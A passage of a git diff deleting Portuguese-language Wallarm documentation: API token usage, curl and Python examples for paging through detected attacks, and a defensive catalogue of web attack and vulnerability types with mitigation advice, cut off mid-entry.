a API Wallarm. -1. Abra seu token e copie o valor da seção **Token**. -1. Envie a solicitação de API necessária, passando o valor do **Token** no parâmetro de cabeçalho `X-WallarmApi-Token`. - -[Mais detalhes sobre tokens da API →](../user-guides/settings/api-tokens.md) - - - -## Abordagem Wallarm para o desenvolvimento e documentação da API - -A Referência da API Wallarm é um aplicativo de página única (SPA) com todos os dados exibidos sendo buscados dinamicamente da API. Este design leva a Wallarm a usar a abordagem [API-first](https://swagger.io/resources/articles/adopting-an-api-first-approach/) quando novos dados e funcionalidades são inicialmente disponibilizados na API pública e, como próxima etapa, são descritos na Referência da API. Geralmente, todas as novas funcionalidades são lançadas simultaneamente na API pública e na Referência da API, mas às vezes as mudanças na API são lançadas antes das mudanças na Referência da API, e algumas funcionalidades estão disponíveis apenas por meio da API pública. - -A Referência da API Wallarm é gerada a partir do arquivo Swagger usando a ferramenta [Swagger UI](https://swagger.io/tools/swagger-ui/). A Referência da API fornece uma maneira fácil de aprender sobre os pontos de extremidade, métodos e estruturas de dados disponíveis da API. Também oferece uma maneira simples de testar todos os pontos finais disponíveis. \ No newline at end of file diff --git a/docs/latest-pt-BR/api/request-examples.md b/docs/latest-pt-BR/api/request-examples.md deleted file mode 100644 index 5c26e22dc6..0000000000 --- a/docs/latest-pt-BR/api/request-examples.md +++ /dev/null @@ -1,240 +0,0 @@ -[access-wallarm-api-docs]: #your-own-client -[application-docs]: ../user-guides/settings/applications.md - -# Exemplos de solicitação de API da Wallarm - -A seguir estão alguns exemplos do uso da API da Wallarm. Você também pode gerar exemplos de código por meio da interface de referência da API para a [nuvem nos EUA](https://apiconsole.us1.wallarm.com/) ou [nuvem na UE](https://apiconsole.eu1.wallarm.com/). Usuários experientes também podem usar o console do desenvolvedor do navegador ("Network" tab) para aprender rapidamente quais terminais e solicitações da API são usados ​​pela interface do usuário da sua conta Wallarm para buscar dados da API pública. Para obter informações sobre como abrir o console do desenvolvedor, você pode usar a documentação oficial do navegador ([Safari](https://support.apple.com/guide/safari/use-the-developer-tools-in-the-develop-menu-sfri20948/mac), [Chrome](https://developers.google.com/web/tools/chrome-devtools/), [Firefox](https://developer.mozilla.org/en-US/docs/Tools), [Vivaldi](https://help.vivaldi.com/article/developer-tools/)). - -## Obter os primeiros 50 ataques detectados nas últimas 24 horas - -Substitua `TIMESTAMP` pela data de 24 horas atrás convertida para o formato [Unix Timestamp](https://www.unixtimestamp.com/). - ---8<-- "../include-pt-BR/api-request-examples/get-attacks-en.md" - -## Obter grandes quantidades de ataques (100 ou mais) - -Para conjuntos de ataques e hits contendo 100 ou mais registros, o ideal é recuperá-los em partes menores, em vez de buscar grandes conjuntos de dados de uma só vez, para otimizar o desempenho. Os terminais correspondentes da API Wallarm suportam paginação baseada em cursor com 100 registros por página. - -Essa técnica envolve retorno de um ponteiro para um item específico no conjunto de dados e, em seguida, em solicitações subsequentes, o servidor retorna resultados após o ponteiro fornecido. Para habilitar a paginação do cursor, inclua `"paging": true` nos parâmetros de solicitação. - -Os seguintes são exemplos de chamadas de API para recuperar todos os ataques detectados desde `` usando a paginação do cursor: - -=== "Nuvem da UE" - ```bash - curl -k 'https://api.wallarm.com/v2/objects/attack' \ - -X POST \ - -H 'X-WallarmApi-Token: ' \ - -H 'Content-Type: application/json' \ - -d '{"paging": true, "filter": {"clientid": [], "vulnid": null, "time": [[, null]], "!state": "falsepositive"}}' - ``` -=== "Nuvem dos EUA" - ```bash - curl -k 'https://us1.api.wallarm.com/v2/objects/attack' \ - -X POST \ - -H 'X-WallarmApi-Token: ' \ - -H 'Content-Type: application/json' \ - -d '{"paging": true, "filter": {"clientid": [], "vulnid": null, "time": [[, null]], "!state": "falsepositive"}}' - ``` - -Esta solicitação retorna informações sobre os últimos 100 ataques detectados, organizados do mais recente para o mais antigo. Além disso, a resposta inclui um parâmetro `cursor` que contém um ponteiro para o próximo conjunto de 100 ataques. - -Para recuperar os próximos 100 ataques, use a mesma solicitação de antes, mas inclua o parâmetro `cursor` com o valor do ponteiro copiado da resposta da solicitação anterior. Isso permite que a API saiba de onde começar a retornar o próximo conjunto de 100 ataques, por exemplo: - -=== "Nuvem da UE" - ```bash - curl -k 'https://api.wallarm.com/v2/objects/attack' \ - -X POST \ - -H 'X-WallarmApi-Token: ' \ - -H 'Content-Type: application/json' \ - -d '{"cursor":"", "paging": true, "filter": {"clientid": [], "vulnid": null, "time": [[, null]], "!state": "falsepositive"}}' - ``` -=== "Nuvem dos EUA" - ```bash - curl -k 'https://us1.api.wallarm.com/v2/objects/attack' \ - -X POST \ - -H 'X-WallarmApi-Token: ' \ - -H 'Content-Type: application/json' \ - -d '{"cursor":"", "paging": true, "filter": {"clientid": [], "vulnid": null, "time": [[, null]], "!state": "falsepositive"}}' - ``` - -Para recuperar mais páginas de resultados, execute solicitações incluindo o parâmetro `cursor` com o valor copiado da resposta anterior. - -Abaixo está o exemplo de código Python para recuperar ataques usando a paginação do cursor: - -=== "Nuvem da UE" - ```python - import json - from pprint import pprint as pp - - import requests - - - client_id = - ts = # UNIX time - - url = "https://api.wallarm.com/v2/objects/attack" - headers = { - "X-WallarmApi-Token": "", - "Content-Type": "application/json", - } - payload = { - "paging": True, - "filter": { - "clientid": [client_id], - "vulnid": None, - "time": [[ts, None]], - "!state": "falsepositive", - }, - } - - - while True: - response = requests.post(url, headers=headers, json=payload) - data = response.json() - - cursor = data.get("cursor") - if not cursor: - break - - pp(data) - payload["cursor"] = cursor - ``` -=== "Nuvem dos EUA" - ```python - import json - from pprint import pprint as pp - - import requests - - - client_id = - ts = # UNIX time - - url = "https://us1.api.wallarm.com/v2/objects/attack" - headers = { - "X-WallarmApi-Token": "", - "X-WallarmAPI-Secret": "", - "Content-Type": "application/json", - } - payload = { - "paging": True, - "filter": { - "clientid": [client_id], - "vulnid": None, - "time": [[ts, None]], - "!state": "falsepositive", - }, - } - - - while True: - response = requests.post(url, headers=headers, json=payload) - data = response.json() - - cursor = data.get("cursor") - if not cursor: - break - - pp(data) - payload["cursor"] = cursor - ``` - -## Obter os primeiros 50 incidentes confirmados nas últimas 24 horas - -A solicitação é muito semelhante ao exemplo anterior para uma lista de ataques; o termo `"!vulnid": null` é adicionado a esta solicitação. Este termo instrui a API para ignorar todos os ataques sem ID de vulnerabilidade especificado, e é assim que o sistema distingue entre ataques e incidentes. - -Substitua `TIMESTAMP` pela data de 24 horas atrás convertida para o formato [Unix Timestamp](https://www.unixtimestamp.com/). - ---8<-- "../include-pt-BR/api-request-examples/get-incidents-en.md" - -## Obter as primeiras 50 vulnerabilidades no status "active" nas últimas 24 horas - -Substitua `TIMESTAMP` pela data de 24 horas atrás convertida para o formato [Unix Timestamp](https://www.unixtimestamp.com/). - ---8<-- "../include-pt-BR/api-request-examples/get-vulnerabilities.md" - -## Obter todas as regras configuradas - ---8<-- "../include-pt-BR/api-request-examples/get-all-configured-rules.md" - -## Obter apenas as condições de todas as regras - ---8<-- "../include-pt-BR/api-request-examples/get-conditions.md" - -## Obter regras anexadas a uma condição específica - -Para apontar para uma condição específica, use seu ID - você pode obtê-lo ao solicitar condições de todas as regras (veja acima). - ---8<-- "../include-pt-BR/api-request-examples/get-rules-by-condition-id.md" - -## Criar o patch virtual para bloquear todas as solicitações enviadas para `/my/api/*` - ---8<-- "../include-pt-BR/api-request-examples/create-rule-en.md" - -## Criar o patch virtual para um ID de instância de aplicativo específico para bloquear todas as solicitações enviadas para `/my/api/*` - -Um aplicativo deve ser [configurado](../user-guides/settings/applications.md) antes de enviar esta solicitação. Especifique um ID de um aplicativo existente em `action.point[instance].value`. - ---8<-- "../include-pt-BR/api-request-examples/create-rule-for-app-id.md" - -## Criar uma regra para considerar as solicitações com um valor específico do cabeçalho `X-FORWARDED-FOR` como ataques - -A seguinte solicitação criará o [indicador de ataque personalizado com base na expressão regular](../user-guides/rules/regex-rule.md) `^(~(44[.]33[.]22[.]11))$`. - -Se as solicitações para o domínio `MY.DOMAIN.COM` tiverem o cabeçalho HTTP `X-FORWARDED-FOR: 44.33.22.11`, o nó Wallarm as considerará como ataques de scanner e bloqueará os ataques se o [modo de filtragem](../admin-en/configure-wallarm-mode.md) correspondente tiver sido definido. - ---8<-- "../include-pt-BR/api-request-examples/create-rule-scanner.md" - -## Criar a regra definindo o modo de filtragem para monitoramento para o aplicativo específico - -A seguinte solicitação criará a [regra que define o nó para filtrar o tráfego](../user-guides/rules/wallarm-mode-rule.md) que vai para o [aplicativo](../user-guides/settings/applications.md) com ID `3` no modo de monitoramento. - ---8<-- "../include-pt-BR/api-request-examples/create-filtration-mode-rule-for-app.md" - -## Excluir regra por seu ID - -Você pode copiar o ID da regra a ser excluída ao [obter todas as regras configuradas](#get-all-configured-rules). Além disso, um ID de regra foi retornado em resposta à solicitação de criação de regra, no parâmetro de resposta `id`. - ---8<-- "../include-pt-BR/api-request-examples/delete-rule-by-id.md" - -## Chamadas de API para obter, preencher e excluir objetos da lista de IPs - -A seguir estão alguns exemplos de chamadas de API para obter, preencher e excluir objetos da [lista de IPs](../user-guides/ip-lists/overview.md). - -### Parâmetros de solicitação de API - -Parâmetros a serem passados ​​nas solicitações de API para ler e alterar listas de IPs: - ---8<-- "../include-pt-BR/api-request-examples/ip-list-request-params.md" - -### Adicionar à lista as entradas do arquivo `.csv` - -Para adicionar à lista os IPs ou sub-redes do arquivo `.csv`, use o seguinte script bash: - ---8<-- "../include-pt-BR/api-request-examples/add-ips-to-lists-from-file.md" - -### Adicionar à lista um único IP ou sub-rede - ---8<-- "../include-pt-BR/api-request-examples/add-some-ips-to-lists.md" - -### Adicionar à lista vários países - ---8<-- "../include-pt-BR/api-request-examples/add-some-countries-to-lists.md" - -### Adicionar à lista vários serviços de proxy - ---8<-- "../include-pt-BR/api-request-examples/add-some-proxies-to-lists.md" - -### Excluir um objeto da lista de IPs - -Os objetos são excluídos das listas de IPs por seus IDs. - -Para obter um ID de objeto, solicite o conteúdo da lista de IPs e copie `objects.id` do objeto necessário de uma resposta: - ---8<-- "../include-pt-BR/api-request-examples/get-ip-list-contents.md" - -Tendo o ID do objeto, envie a seguinte solicitação para excluí-lo da lista: - ---8<-- "../include-pt-BR/api-request-examples/delete-object-from-ip-list.md" - -Você pode excluir vários objetos de uma vez passando seus IDs como uma matriz na solicitação de exclusão. \ No newline at end of file diff --git a/docs/latest-pt-BR/attacks-vulns-list.md b/docs/latest-pt-BR/attacks-vulns-list.md deleted file mode 100644 index a84906ff1b..0000000000 --- a/docs/latest-pt-BR/attacks-vulns-list.md +++ /dev/null @@ -1,851 +0,0 @@ -# Tipos de ataques e vulnerabilidades - -[cwe-20]: https://cwe.mitre.org/data/definitions/20.html -[cwe-22]: https://cwe.mitre.org/data/definitions/22.html -[cwe-78]: https://cwe.mitre.org/data/definitions/78.html -[cwe-79]: https://cwe.mitre.org/data/definitions/79.html -[cwe-88]: https://cwe.mitre.org/data/definitions/88.html -[cwe-89]: https://cwe.mitre.org/data/definitions/89.html -[cwe-90]: https://cwe.mitre.org/data/definitions/90.html -[cwe-93]: https://cwe.mitre.org/data/definitions/93.html -[cwe-94]: https://cwe.mitre.org/data/definitions/94.html -[cwe-113]: https://cwe.mitre.org/data/definitions/113.html -[cwe-96]: https://cwe.mitre.org/data/definitions/96.html -[cwe-97]: https://cwe.mitre.org/data/definitions/97.html -[cwe-150]: https://cwe.mitre.org/data/definitions/150.html -[cwe-159]: https://cwe.mitre.org/data/definitions/159.html -[cwe-200]: https://cwe.mitre.org/data/definitions/200.html -[cwe-209]: https://cwe.mitre.org/data/definitions/209.html -[cwe-215]: https://cwe.mitre.org/data/definitions/215.html -[cwe-288]: https://cwe.mitre.org/data/definitions/288.html -[cwe-307]: https://cwe.mitre.org/data/definitions/307.html -[cwe-352]: https://cwe.mitre.org/data/definitions/352.html -[cwe-409]: https://cwe.mitre.org/data/definitions/409.html -[cwe-425]: https://cwe.mitre.org/data/definitions/425.html -[cwe-444]: https://cwe.mitre.org/data/definitions/444.html -[cwe-511]: https://cwe.mitre.org/data/definitions/511.html -[cwe-521]: https://cwe.mitre.org/data/definitions/521.html -[cwe-538]: https://cwe.mitre.org/data/definitions/538.html -[cwe-541]: https://cwe.mitre.org/data/definitions/541.html -[cwe-548]: https://cwe.mitre.org/data/definitions/548.html -[cwe-601]: https://cwe.mitre.org/data/definitions/601.html -[cwe-611]: https://cwe.mitre.org/data/definitions/611.html -[cwe-776]: https://cwe.mitre.org/data/definitions/776.html -[cwe-799]: https://cwe.mitre.org/data/definitions/799.html -[cwe-639]: https://cwe.mitre.org/data/definitions/639.html -[cwe-918]: https://cwe.mitre.org/data/definitions/918.html -[cwe-943]: https://cwe.mitre.org/data/definitions/943.html -[cwe-1270]: https://cwe.mitre.org/data/definitions/1270.html -[cwe-1294]: https://cwe.mitre.org/data/definitions/1294.html -[cwe-937]: https://cwe.mitre.org/data/definitions/937.html -[cwe-1035]: https://cwe.mitre.org/data/definitions/1035.html -[cwe-1104]: https://cwe.mitre.org/data/definitions/1104.html - -[link-cwe]: https://cwe.mitre.org/ - -[link-owasp-xxe-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html -[link-owasp-xss-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html -[link-owasp-idor-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html -[link-owasp-ssrf-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html -[link-owasp-auth-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html -[link-owasp-ldapi-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html -[link-owasp-sqli-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html -[link-owasp-inputval-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html - -[link-ptrav-mitigation]: https://owasp.org/www-community/attacks/Path_Traversal -[link-wl-process-time-limit-directive]: admin-en/configure-parameters-en.md#wallarm_process_time_limit - -[doc-vpatch]: user-guides/rules/vpatch-rule.md - -[anchor-main-list]: #a-lista-principal-de-ataques-e-vulnerabilidades -[anchor-special-list]: #a-lista-de-ataques-especiais-e-vulnerabilidades - -[anchor-brute]: #ataque-de-forca-bruta -[anchor-rce]: #execucao-remota-de-codigo-rce -[anchor-ssrf]: #falsificacao-de-solicitacao-do-lado-do-servidor-ssrf - -[link-imap-wiki]: https://pt.wikipedia.org/wiki/Internet_Message_Access_Protocol -[link-smtp-wiki]: https://pt.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol -[ssi-wiki]: https://pt.wikipedia.org/wiki/Include_de_Servidor_Server_Side_Includes -[link-owasp-csrf-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html - -O nó de filtragem Wallarm pode detectar muitos ataques e vulnerabilidades, incluindo aqueles incluídos na lista de ameaças OWASP API Top 10. Esses ataques e vulnerabilidades estão listados [aqui][anchor-main-list]. - -Cada item da lista: - -* É etiquetado com **Ataque**, **Vulnerabilidade** ou ambos. - - O nome de um ataque específico pode ser o mesmo do nome da vulnerabilidade que esse ataque explora. Nesse caso, essa entidade será marcada com a tag combinada **Vulnerabilidade/Ataque**. - -* Possui o código Wallarm que corresponde a esta entidade. - -A maioria das vulnerabilidades e ataques desta lista também é acompanhada por um ou mais códigos da lista de tipos de fraquezas de software, também conhecida como [Enumerador Comum de Fraquezas (Common Weakness Enumeration)][link-cwe] ou CWE. - -Além disso, o nó de filtragem Wallarm usa vários tipos de ataque e vulnerabilidades especiais para a finalidade interna de marcar o tráfego processado. Tais entidades não são acompanhadas por códigos CWE, mas são [listadas separadamente][anchor-special-list]. - -??? info "Assista ao vídeo sobre como a Wallarm protege contra o OWASP Top 10" -
            - -
            - -## A lista principal de ataques e vulnerabilidades - -### Ataque à Entidade Externa XML (XXE) - -**Vulnerabilidade/Ataque** - -**Código CWE:** [CWE-611][cwe-611] - -**Código Wallarm:** `xxe` - -**Descrição:** - -A vulnerabilidade XXE permite que um atacante injete uma entidade externa em um documento XML a ser avaliado por um analisador XML e, em seguida, executado no servidor web alvo. - -Como resultado de um ataque bem-sucedido, um atacante será capaz de: - -* Obter acesso aos dados confidenciais do aplicativo da web -* Analisar as redes de dados internas -* Ler os arquivos localizados no servidor web -* Realizar um ataque [SSRF][anchor-ssrf] -* Realizar um ataque de Negação de Serviço (DoS) - -Esta vulnerabilidade ocorre devido à falta de restrição na análise de entidades XML externas em um aplicativo da web. - -**Solução:** - -Você pode seguir estas recomendações: - -* Desabilite a análise de entidades externas XML ao trabalhar com documentos XML fornecidos por um usuário. -* Aplique as recomendações da [Folha de dicas de prevenção XXE da OWASP][link-owasp-xxe-cheatsheet]. - -### Ataque de força bruta - -**Ataque** - -**Códigos CWE:** [CWE-307][cwe-307], [CWE-521][cwe-521], [CWE-799][cwe-799] - -**Código Wallarm:** `brute` - -**Descrição:** - -Um ataque de força bruta ocorre quando um grande número de solicitações com uma carga útil predefinida é enviado para o servidor. Essas cargas úteis podem ser geradas por algum meio ou retiradas de um dicionário. A resposta do servidor é então analisada para encontrar a combinação correta dos dados na carga útil. - -Um ataque de força bruta bem-sucedido pode potencialmente contornar mecanismos de autenticação e autorização e/ou revelar recursos ocultos do aplicativo da web (como diretórios, arquivos, partes do site, etc.), concedendo assim a capacidade de conduzir outras ações maliciosas. - -**Solução:** - -Você pode seguir estas recomendações: - -* Limite o número de solicitações por um certo período de tempo para um aplicativo da web. -* Limite o número de tentativas de autenticação/autorização por um certo período de tempo para um aplicativo da web. -* Bloqueie novas tentativas de autenticação/autorização após um certo número de tentativas fracassadas. -* Proíba um aplicativo da web de acessar quaisquer arquivos ou diretórios no servidor em que ele é executado, exceto aqueles dentro do escopo do aplicativo. - -[Como configurar a solução Wallarm para proteger aplicativos contra força bruta →](admin-en/configuration-guides/protecting-against-bruteforce.md) - -### Varredura de recursos - -**Ataque** - -**Código CWE:** none - -**Código Wallarm:** `scanner` - -**Descrição:** - -O código `scanner` é atribuído a uma solicitação HTTP se essa solicitação é considerada parte de uma atividade de software de varredura de terceiros que tem como alvo atacar ou varrer um recurso protegido. As solicitações do Scanner Wallarm não são consideradas um ataque de varredura de recursos. Essas informações podem ser usadas posteriormente para atacar esses serviços. - -**Solução:** - -Você pode seguir estas recomendações: - -* Limite a possibilidade de uma varredura do perímetro da rede, empregando a lista de permissões e negações de endereços IP junto com mecanismos de autenticação / autorização. -* Minimize a superfície de varredura colocando o perímetro da rede atrás de um firewall. -* Defina um conjunto necessário e suficiente de portas a serem abertas para que seus serviços operem. -* Restrinja o uso do protocolo ICMP no nível da rede. -* Atualize periodicamente os seus equipamentos de infraestrutura de TI. Isso inclui: - - * firmware de servidores e outros equipamentos - * sistemas operacionais - * demais softwares - -### Injeção de Template do Lado do Servidor (SSTI) - -**Vulnerabilidade/Ataque** - -**Códigos CWE:** [CWE-94][cwe-94], [CWE-159][cwe-159] - -**Código Wallarm:** `ssti` - -**Descrição:** - -Um atacante pode injetar um código executável em um formulário preenchido por um usuário em um servidor da web vulnerável a ataques SSTI para que o código seja analisado e executado pelo servidor da web. - -Um ataque bem-sucedido pode tornar completamente comprometido um servidor da web vulnerável, permitindo potencialmente que um atacante execute solicitações arbitrárias, explore os sistemas de arquivos dos servidores e, sob determinadas condições, execute remotamente um código arbitrário (consulte [Ataque RCE][anchor-rce] para detalhes), bem como muitas outras coisas. - -Essa vulnerabilidade surge devido à validação e análise incorretas da entrada do usuário. - -**Solução:** - -Você pode seguir a recomendação de desinfetar e filtrar toda a entrada do usuário para evitar que uma entidade na entrada seja executada. - -### Bomba de dados - -**Ataque** - -**Código CWE:** [CWE-409][cwe-409], [CWE-776][cwe-776] - -**Código Wallarm:** `data_bomb` - -**Descrição:** - -A Wallarm marca uma solicitação como o ataque de Bomba de Dados se ela contém a Bomba Zip ou XML: - -* A [Bomba Zip](https://pt.wikipedia.org/wiki/Ataque_zip_bomba) é um arquivo de arquivo mal-intencionado projetado para travar ou tornar inútil o programa ou sistema que o lê. A Bomba Zip permite que o programa funcione como pretendido, mas o arquivo é criado de tal forma que o descompactar requer uma quantidade inordinada de tempo, espaço em disco e/ou memória. -* A [Bomba XML (ataque de um bilhão de risos)](https://pt.wikipedia.org/wiki/Bomba_XML) é o tipo de ataque DoS que é direcionada aos parsers de documentos XML. Um atacante envia cargas úteis maliciosas em entidades XML. - - Por exemplo, `entidadeUm` pode ser definida como 20 `entidadeDois`, que por sua vez podem ser definidas como 20 `entidadeTres`. Se a mesma regra for continuada até `entidadeOito`, o parser XML desdobrará uma única ocorrência de `entidadeUm` em 1 280 000 000 `entidadeOito` - ocupando 5 GB de memória. - -**Solução:** - -Limite o tamanho das solicitações de entrada para que não possa prejudicar o sistema. - -### Cross-site scripting (XSS) - -**Vulnerabilidade/Ataque** - -**Código CWE:** [CWE-79][cwe-79] - -**Código Wallarm:** `xss` - -**Descrição:** - -Um ataque de cross-site scripting permite que um atacante execute um código arbitrário preparado no navegador de um usuário. - -Existem alguns tipos de ataques XSS: - -* XSS Armazenado é quando um código malicioso é pré-incorporado na página do aplicativo da web. - - Se o aplicativo da web for vulnerável ao ataque XSS armazenado, então será possível para um atacante injetar um código malicioso na página HTML do aplicativo da web; além disso, esse código persistirá e será executado pelo navegador de qualquer usuário solicitando a página da web infectada. - -* XSS Refletido é quando um atacante engana um usuário para abrir um link especialmente construído. - -* XSS baseado em DOM é quando um código JavaScript incorporado na página do aplicativo da web analisa a entrada e a executa como um comando JavaScript devido a erros nesse trecho de código. - -A exploração de qualquer uma das vulnerabilidades listadas acima leva à execução de um código JavaScript arbitrário. Se o ataque XSS for bem-sucedido, um atacante pode roubar a sessão de um usuário ou credenciais, fazer solicitações em nome do usuário e realizar outras ações maliciosas. - -Esta classe de vulnerabilidades ocorre devido à validação e análise incorretas da entrada do usuário. - -**Solução:** - -Você pode seguir estas recomendações: - -* Desinfetar e filtrar todos os parâmetros que um aplicativo da web recebe como entrada para evitar que uma entidade na entrada seja executada. -* Ao formar as páginas do aplicativo da web, desinfete e escape quaisquer entidades que sejam formadas dinamicamente. -* Aplique as recomendações da [Folha de dicas de prevenção XSS da OWASP][link-owasp-xss-cheatsheet]. - -### Autorização de nível de objeto quebrado (BOLA) - -**Vulnerabilidade/Ataque** - -**Código CWE:** [CWE-639][cwe-639] - -**Código Wallarm:** `idor` para vulnerabilidades, `bola` para ataques - -**Descrição:** - -Os invasores podem explorar os pontos finais da API que são vulneráveis à autorização de nível de objeto quebrado, manipulando o ID de um objeto que é enviado na solicitação. Isso pode resultar em acesso não autorizado a dados sensíveis. - -Esse problema é extremamente comum em aplicativos baseados em API porque o componente do servidor geralmente não rastreia completamente o estado do cliente e, em vez disso, depende mais de parâmetros como os IDs dos objetos, que são enviados do cliente para decidir quais objetos acessar. - -Dependendo da lógica do ponto final da API, um invasor pode apenas ler dados em aplicativos da web, APIs e usuários ou modificá-los. - -Esta vulnerabilidade também é conhecida como IDOR (Referência de objeto direto inseguro). - -[Mais detalhes sobre a vulnerabilidade](https://github.com/OWASP/API-Security/blob/master/editions/2019/en/0xa1-broken-object-level-authorization.md) - -**Solução:** - -* Implemente um mecanismo de autorização adequado que dependa das políticas e hierarquia do usuário. -* Prefira usar valores aleatórios e imprevisíveis como [GUIDs](https://pt.wikipedia.org/wiki/Identificador_%C3%BAnico_global) para os IDs dos objetos. -* Escreva testes para avaliar o mecanismo de autorização. Não implemente mudanças vulneráveis que quebrem os testes. - -**Comportamento Wallarm:** - -* Wallarm descobre automaticamente vulnerabilidades desse tipo. -* Wallarm não detecta ataques explorando essa vulnerabilidade por padrão. Para detectar e bloquear os ataques BOLA, configure o [gatilho **BOLA**](admin-en/configuration-guides/protecting-against-bola.md). - -### Redirecionamento aberto - -**Vulnerabilidade/Ataque** - -**Código CWE:** [CWE-601][cwe-601] - -**Código Wallarm:** `redir` - -**Descrição:** - -Um invasor pode usar um ataque de redirecionamento aberto para redirecionar um usuário para uma página da web maliciosa por meio de um aplicativo da web legítimo. - -A vulnerabilidade para esse ataque ocorre devido ao filtro incorreto das entradas da URL. - -**Solução:** - -Você pode seguir estas recomendações: - -* Desinfetar e filtrar todos os parâmetros que um aplicativo da web recebe como entrada para evitar que uma entidade na entrada seja executada. -* Notifique os usuários sobre todos os redirecionamentos pendentes e peça permissão explícita. - - -### Falsificação de solicitação do lado do servidor (SSRF) - -**Vulnerabilidade/Ataque** - -**Código CWE:** [CWE-918][cwe-918] - -**Código Wallarm:** `ssrf` - -**Descrição:** - -Um ataque SSRF bem-sucedido pode permitir que um atacante faça solicitações em nome do servidor da web atacado; isso potencialmente leva a revelar as portas de rede em uso pelo aplicativo da web, a varredura das redes internas e a violação da autorização. - -A partir do lançamento 4.4.3, Wallarm mitiga tentativas de ataque SSRF. As vulnerabilidades SSRF são detectadas por todas as [versões suportadas da Wallarm](updating-migrating/versioning-policy.md). - -**Solução:** - -Você pode seguir estas recomendações: - -* Desinfetar e filtrar todos os parâmetros que um aplicativo da web recebe como entrada para evitar que uma entidade na entrada seja executada. -* Aplique as recomendações da [Folha de dicas de prevenção SSRF da OWASP][link-owasp-ssrf-cheatsheet]. - -### Falsificação de solicitação entre sites (CSRF) - -**Vulnerabilidade** - -**Código CWE:** [CWE-352][cwe-352] - -**Código Wallarm:** `csrf` - -**Descrição:** - -Cross-Site Request Forgery (CSRF) é um ataque que força um usuário final a executar ações indesejadas em um aplicativo da web no qual ele está autenticado atualmente. Com a ajuda de engenharia social (como enviar um link por e-mail ou chat), um invasor pode enganar os usuários de um aplicativo da web para executar as ações de escolha do invasor. - -A vulnerabilidade correspondente ocorre porque o navegador do usuário adiciona automaticamente os cookies de sessão do usuário que são definidos para o nome de domínio de destino ao realizar a solicitação entre sites. - -Para a maioria dos sites, esses cookies incluem credenciais associadas ao site. Portanto, se o usuário estiver autenticado no site no momento, o site não terá como distinguir entre a solicitação forjada enviada pela vítima e uma solicitação legítima enviada pela vítima. - -Como resultado, o atacante pode enviar uma solicitação para o aplicativo da web vulnerável a partir de um site malicioso, se passando por um usuário legítimo que está autenticado no site vulnerável; o atacante nem precisa ter acesso aos cookies do usuário. - -**Comportamento Wallarm:** - -Wallarm apenas descobre vulnerabilidades CSRF, mas não detecta e, portanto, não bloqueia ataques CSRF. O problema CSRF é resolvido em todos os navegadores modernos através de políticas de segurança de conteúdo (CSP). - -**Solução:** - -O CSRF é resolvido pelos navegadores, outros métodos de proteção são menos úteis, mas ainda podem ser usados. - -Você pode seguir estas recomendações: - -* Empregue mecanismos de proteção contra CSRF, como tokens CSRF e outros. -* Defina o atributo de cookie `SameSite`. -* Aplique as recomendações da [Folha de dicas de prevenção CSRF da OWASP][link-owasp-csrf-cheatsheet]. - -### Acesso forçado - -**Ataque** - -**Código CWE:** [CWE-425][cwe-425] - -**Código Wallarm:** `dirbust` - -**Descrição:** - -Este ataque pertence à classe de ataques de força bruta. O objetivo deste ataque é detectar os recursos ocultos de um aplicativo da web, ou seja, diretórios e arquivos. Isso é alcançado tentando diferentes nomes de arquivos e diretórios que são gerados com base em algum modelo ou extraídos de um arquivo de dicionário preparado. - -Um ataque de acesso forçado bem-sucedido potencialmente concede acesso a recursos ocultos que não estão explicitamente disponíveis na interface do aplicativo da web, mas estão expostos ao serem acessados diretamente. - -**Solução:** - -Você pode seguir estas recomendações: - -* Restringir ou limitar o acesso dos usuários aos recursos que eles não devem ter acesso direto (por exemplo, empregando alguns mecanismos de autenticação ou autorização). -* Limite o número de solicitações por um determinado período de tempo para o aplicativo da web. -* Limite o número de tentativas de autenticação/autorização por um determinado período de tempo para o aplicativo da web. -* Bloqueie novas tentativas de autenticação/autorização após um determinado número de tentativas fracassadas. -* Defina os direitos de acesso necessários e suficientes para os arquivos e diretórios do aplicativo da web. - -[Como configurar a solução Wallarm para proteger aplicativos contra força bruta →](admin-en/configuration-guides/protecting-against-bruteforce.md) - - -### Exposição de informações - -**Vulnerabilidade/Ataque** - -**Códigos CWE:** [CWE-200][cwe-200] (veja também: [CWE-209][cwe-209], [CWE-215][cwe-215], [CWE-538][cwe-538], [CWE-541][cwe-541], [CWE-548][cwe-548]) - -**Código Wallarm:** `infoleak` - -**Descrição:** - -O aplicativo divulga intencional ou inadvertidamente informações sensíveis para um assunto que não tem autorização para acessá-las. - -A vulnerabilidade deste tipo só pode ser detectada pelo método de [detecção passiva](about-wallarm/detecting-vulnerabilities.md#passive-detection). Se a resposta à solicitação expõe informações sensíveis, a Wallarm registra um incidente e uma vulnerabilidade ativa do tipo **Exposição de informações**. Alguns tipos de informações sensíveis que podem ser detectadas pela Wallarm incluem: - -* Status do sistema e do ambiente (por exemplo: rastreamento de pilha, avisos, erros fatais) -* Status e configuração da rede -* O código do aplicativo ou estado interno -* Metadados (por exemplo, registro de conexões ou cabeçalhos de mensagens) - -**Solução:** - -Você pode seguir a recomendação de proibir um aplicativo da web de ter a capacidade de exibir qualquer informação sensível. - -### Componente vulnerável - -**Vulnerabilidade** - -**Códigos CWE:** [CWE-937][cwe-937], [CWE-1035][cwe-1035], [CWE-1104][cwe-1104] - -**Código Wallarm:** `vuln_component` - -**Descrição:** - -Esta vulnerabilidade ocorre se o seu aplicativo da web ou API usar um componente vulnerável ou desatualizado. Isso pode incluir um SO, servidor de web / aplicativo, sistema de gerenciamento de banco de dados (DBMS), ambientes de tempo de execução, bibliotecas e outros componentes. - -Esta 